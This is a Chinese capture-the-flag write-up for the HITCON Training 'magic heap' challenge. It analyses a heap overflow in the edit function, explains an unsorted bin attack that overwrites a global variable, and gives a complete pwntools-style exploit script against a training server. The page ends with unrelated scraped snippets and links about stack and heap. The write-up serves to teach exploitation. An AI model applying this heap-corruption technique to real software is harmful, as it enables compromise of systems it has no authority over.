HITCON Training lab14 magic heap 堆技巧unsroted bin attack

目录

  • 常规检查
  • 逆向分析
    • create_heap 函数
    • edit 函数
    • delete 函数
    • main 函数
  • 整体思路
  • 利用过程
  • 拿 shell get flag
  • exp 脚本
  • 内容来源

常规检查

逆向分析

--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :

create_heap 函数

unsigned __int64 create_heap()
{
  signed int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:", &buf);
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
  • heaparray 数组:存放 chunk 的首地址。
  • read_input 函数:把我们输入的内容写入 chunk 中。

edit 函数

int edit_heap()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  size_t v2; // [rsp+8h] [rbp-8h]

  printf("Index :");
  read(0, &v1 + 4, 4uLL);
  LODWORD(v1) = atoi(&v1 + 4);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  printf("Size of Heap : ", &v1 + 4, v1);
  read(0, &v1 + 4, 8uLL);
  v2 = atoi(&v1 + 4);
  printf("Content of heap : ", &v1 + 4, v1);
  read_input(heaparray[v1], v2);
  return puts("Done !");
}

??可以再次编辑 chunk 的内容,而且可以选择输入大小。如果我们这次输入的 size 比创建时大的话,就会导致堆溢出

delete 函数

int delete_heap()
{
  int v1; // [rsp+8h] [rbp-8h]
  char buf; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  free(heaparray[v1]);
  heaparray[v1] = 0LL;
  return puts("Done !");
}

??释放对应 index 的 chunk,并将数组 heaparray 对应的地址置 0。

main 函数

    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          get_flag();
        }
      }

??magic 为在 bss 段的全局变量,如果我们能够控制 v3 为 4849 并且覆写 magic 使其值大于 0x1305 ,就能 get flag 。

整体思路

利用过程

create_heap(0x20, "dada")  # 0
create_heap(0x80, "dada")  # 1
# in order not to merge into top chunk
create_heap(0x20, "dada")  # 2

del_heap(1)

magic = 0x6020a0
fd = 0
bk = magic - 0x10

edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))

??首先创建三个 chunk ,chunk 2 是为了防止 free chunk 1 的时候 chunk 1 与 top chunk 合并,然后我们 free 掉 chunk 1 , chunk 1 大小大于 global_max_fast ,所以 free 掉之后会进入 unsorted bin 。然后我们通过 chunk 0 溢出覆写 chunk 1 的 bk 指针,此时 heap 情况如下

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x2502000           0x0                 0x30                 Used                None              None    chunk 0
0x2502030           0x0                 0x90                 Freed                0x0          0x602090    chunk 1
gdb-peda$ x /12xg 0x2502000
0x2502000:  0x0000000000000000  0x0000000000000031    chunk 0
0x2502010:  0x6161616161616161  0x6161616161616161
0x2502020:  0x6161616161616161  0x6161616161616161
0x2502030:  0x0000000000000000  0x0000000000000091    chunk 1
0x2502040:  0x0000000000000000  0x0000000000602090    bk
0x2502050:  0x0000000000000000  0x0000000000000000

??可以发现,我们已经成功把 chunk 1 的 bk 指针覆写 为 magic - 0x10

create(0x80,'aaaa')

??然后我们再次创建与 chunk 1 同样大小的 chunk ,被 free 掉的 chunk 1 就会从 unsorted bin 中取出,做脱链操作

unsorted_chunks(av)->bk = bck = victim->bk = magic - 0x10;
bck->fd  = *(magic - 0x10 + 0x10) = unsorted_chunks(av);

??即我们向 magic 写入了一个 大于 0x1305 的值(unsorted bin 链表头地址),然后我们再次 malloc 与 unsorted bin 一样大小的块就可以进入 get_flag 成功拿 shell 。

拿 shell get flag

exp 脚本

from pwn_debug import *

pdbg = pwn_debug('magicheap')
pdbg.remote('node3.buuoj.cn',29077)
pdbg.local()
r = pdbg.run('remote')

def create(size,content):
    r.recvuntil(':')
    r.sendline('1')
    r.recvuntil(':')
    r.sendline(str(size))
    r.recvuntil(':')
    r.sendline(content)

def edit(idx,size,content):
    r.recvuntil(':')
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(idx))
    r.recvuntil(':')
    r.sendline(str(size))
    r.recvuntil(':')
    r.sendline(content)

def delete(idx):
    r.recvuntil(':')
    r.sendline('3')
    r.recvuntil(':')
    r.sendline(str(idx))

create(0x20,'aaaa')
create(0x80,'bbbb')
create(0x20,'cccc')

#gdb.attach(r)

delete(1)

#gdb.attach(r)

magic = 0x6020a0
fd = 0
bk = magic -0x10

edit(0,0x40,'a' * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) 

#gdb.attach(r)

create(0x80,'aaaa')
r.recvuntil(":")
r.sendline('4869')

r.interactive()

内容来源

ctf-wiki-unsorted bin attack

原文地址:https://www.cnblogs.com/luoleqi/p/12361438.html

时间: 2024-10-13 02:09:23

HITCON Training lab14 magic heap 堆技巧unsroted bin attack的相关文章

Stack栈 Heap堆

Stack(栈) 栈(stack) 又名堆栈,它是一种运算受限的线性表.其限制是仅允许在表的一端进行插入和删除运算.这一端被称为栈顶,相对地,把另一端称为栈底.向一个栈插入新元素又称作进栈.入栈或压栈,它是把新元素放到栈顶元素的上面,使之成为新的栈顶元素:从一个栈删除元素又称作出栈或退栈,它是把栈顶元素删除掉,使其相邻的元素成为新的栈顶元素. 在计算机科学中是限定仅在表尾进行插入或删除操作的线性表.栈是一种数据结构,它按照后进先出的原则存储数据,先进入的数据被压入栈底,最后的数据在栈顶,需要读数

java 中的内存分为四个部分:stack(栈),heap(堆),data segment

http://www.qdmm.com/BookReader/113167,54166719.aspx http://www.qdmm.com/BookReader/113167,54166867.aspx http://www.qdmm.com/BookReader/113167,54166868.aspx http://www.qdmm.com/BookReader/113167,54166869.aspx http://www.qdmm.com/BookReader/113167,5416

linux heap堆分配

heap堆分配在用户层面:malloc函数用于heap内存分配 void* malloc(size_t size); 进程的虚拟内存地址布局: 对用户来说,主要关注的空间是User Space.将User Space放大后,可以看到里面主要分为如下几段: Code:这是整个用户空间的最低地址部分,存放的是指令(也就是程序所编译成的可执行机器码) Data:这里存放的是初始化过的全局变量 BSS:这里存放的是未初始化的全局变量 Heap:堆,这是我们本文重点关注的地方,堆自低地址向高地址增长,后面

Java Stack栈和Heap堆的区别

首先分清楚Stack,Heap的中文翻译:Stack—栈,Heap—堆. 在中文里,Stack可以翻译为“堆栈”,所以我直接查找了计算机术语里面堆和栈开头的词语: 堆存储: heapstorage 堆存储分配: heapstorage allocation 堆存储管理: heap storage management 栈编址: stack addressing 栈变换:stack transformation 栈存储器:stack memory 栈单元: stack cell 接着,总结在Jav

HITCON training lab 11——bamboobox

64位程序 #House Of Force 程序逻辑 1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 _QWORD *v3; // [rsp+8h] [rbp-18h] 4 char buf; // [rsp+10h] [rbp-10h] 5 unsigned __int64 v5; // [rsp+18h] [rbp-8h] 6 7 v5 = __readfsqword(0x28u); 8 set

heap(堆)和stack(栈)的区别

heap是堆,stack是栈 stack的空间由操作系统自动分配/释放,heap上的空间手动分配/释放. stack空间有限,heap是很大的自由存储区 C中的malloc函数分配的内存空间即在heap上,C++中对应的是new操作符. 程序在编译期对变量和函数分配内存都是在stack(栈)上进行,且程序运行过程中的函数调用时参数的传递也在栈上进行.

Heap堆

#pragma once#include<iostream>using namespace std;#include<vector> template<class T>    //仿函数struct Less{    bool operator()(const T&l, const T&r)  //重载括号    {        return l < r;    }}; template<class T>struct Greater{

STL之heap 堆

STL中与堆相关的4个函数--建立堆make_heap(),在堆中添加数据push_heap(),在堆中删除数据pop_heap()和堆排序sort_heap(): 头文件 #include <algorithm> 下面的_First与_Last为可以随机访问的迭代器(指针),_Comp为比较函数(仿函数),其规则--如果函数的第一个参数小于第二个参数应返回true,否则返回false. 建立堆 make_heap(_First, _Last, _Comp) 默认是建立最大堆的.对int类型,

heap 堆

通过优先队列可以构造堆,堆是一种实用的数据结构.尽管Python中没有独立的堆类型,但是包含了一些对操作函数的模块,这个模块叫heapq,主要的操作包含如下几个: heappush(heap,x):x元素插入堆 heappop(heap):弹出对中最小元素 heapify(heap):将heap属性强制应用到任意一个列表 hrapreplace(heap,x):将heap中最小元素弹出,同时x元素入堆 hlargest(n,iter):返回iter中第n大的元素 hsmallest(n,iter